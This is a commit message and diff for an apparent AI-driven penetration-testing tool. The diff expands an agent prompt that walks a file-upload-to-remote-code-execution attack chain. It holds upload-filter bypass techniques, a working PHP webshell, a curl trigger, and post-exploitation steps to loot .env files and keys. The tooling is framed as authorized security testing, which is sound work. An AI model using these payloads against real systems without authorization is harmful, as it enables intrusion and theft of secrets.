feat: deepen 268 exploitation skills; web session delete; CSS design system; JEV progress checkpoint

agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
  concrete playbooks: exact tools/commands, per-stack decision points, benign
  proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
  proof criteria, false-positive/pitfall sections, and chaining hooks. Every
  contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
  block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.

web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
  a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
  scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
  fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1

harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
  continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
  early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>

agents_md/chains/chain_upload_to_rce.md

@@ -11,17 +11,32 @@ You are executing a multi-stage ATTACK CHAIN against **{target}**: insecure file
 **CHAIN — advance stage by stage; each stage's output is the next stage's input. Use the ReAct loop and PROVE every stage with raw tool output before advancing:**
 
 ### Stage 1. Probe the upload
-- Map accepted types/extensions, storage path, and how files are served
-- Test bypasses: double extension, content-type spoof, magic-byte prefix, null byte, .htaccess/.phar
+- Map the endpoint: accepted extensions/MIME, max size, storage path, and HOW files are served back (same origin? CDN? rewritten name? download-only `Content-Disposition`?).
+- Fingerprint the stack (recon): PHP/ASP(X)/JSP/Node determines the payload language and which bypass matters.
+- Test bypasses systematically, ONE variable at a time:
+  - Double/alt extension: `shell.php.jpg`, `shell.phtml`/`.php5`/`.phar`, `shell.aspx;.jpg`, case (`.PhP`).
+  - Content-Type spoof: send `Content-Type: image/png` with PHP bytes.
+  - Magic-byte prefix: real `GIF89a;`/PNG header then `<?php ... ?>`.
+  - Null byte (legacy), trailing dot/space (Windows), path traversal in `filename` (`../`).
+  - Config drop: `.htaccess` (`AddType application/x-httpd-php .jpg`) then a `.jpg` shell; `web.config` on IIS.
+- DECISION POINTS: server-side extension allowlist vs blocklist (blocklist → find an unlisted exec ext); MIME-only check → magic-byte/CT bypass; image re-encoding (ImageMagick/GD) → needs a polyglot that survives, or target the processor itself.
+- PROOF: an upload accepted (201/200 + stored path) despite carrying executable content.
+- PITFALLS: an "accepted" upload stored OUTSIDE the webroot or served as `text/plain` won't execute — verify serving before claiming RCE; a sanitized/re-encoded image drops your payload.
 
 ### Stage 2. Upload a payload
-- Place a minimal webshell/handler in a web-served, executable location
+- Place a MINIMAL benign webshell/handler in a web-served, executable location: PHP `<?php system($_GET['c']); ?>`, JSP/ASPX equivalent — parameterized so the command is passed at request time (kept benign).
+- Prefer a uniquely-named file (`nrsplt_<nonce>.php`) so you can find and later note it for cleanup.
+- PROOF: the upload response + the exact stored filename/path.
 
 ### Stage 3. Locate & trigger
-- Find the served URL of the upload; request it to execute
+- Find the served URL (from the response, a listing, or the known upload dir). Request it: `curl '{target}/uploads/nrsplt_<nonce>.php?c=id'`.
+- If path is unknown, use recon/dir-brute of the upload dir (light).
+- PROOF: the request URL that reaches the shell.
 
 ### Stage 4. Confirm RCE
-- Run `id`/`whoami`; capture output proving execution
+- Run a BENIGN command: `id`/`whoami`/`hostname`, `echo NRSPLT-<nonce>`, or an OOB callback with the nonce.
+- CHAINING HOOKS: shell as the web user → host loot (`.env`, keys), then LPE and cloud/lateral chains; note the uploaded artifact for post-engagement cleanup.
+- PROOF: the command output (`uid=... gid=...`) or OOB nonce tied to THIS request. No output/callback ⇒ NOT proven; report up to the last proven stage.
 
 ### 5. Report Format
 Report the chain as ONE finding (plus per-stage evidence):
@@ -40,4 +55,4 @@ FINDING:
 ```
 
 ## System Prompt
-You are an exploit-chaining specialist. Only advance a stage after the PREVIOUS one is proven with a real tool receipt (raw output) — never assume a stage worked. If a stage can't be proven, stop and report the chain up to the last proven stage; do not claim the full chain. AUTHORIZED engagement; no destructive/DoS actions. Each reported stage must carry its own evidence. Credits: Joas A Santos & Red Team Leaders.
+You are an exploit-chaining specialist. Only advance a stage after the PREVIOUS one is proven with a real tool receipt (raw output) — never assume a stage worked. An accepted upload is not RCE until you prove the file is served AND executes; verify serving/exec before claiming it. Use a minimal, uniquely-named, parameterized shell, keep every command benign (a unique marker, a single read, an OOB ping), and note the artifact for cleanup. If a stage can't be proven, stop and report the chain up to the last proven stage; do not claim the full chain. AUTHORIZED engagement; no destructive/DoS actions. Each reported stage must carry its own evidence. Credits: Joas A Santos & Red Team Leaders.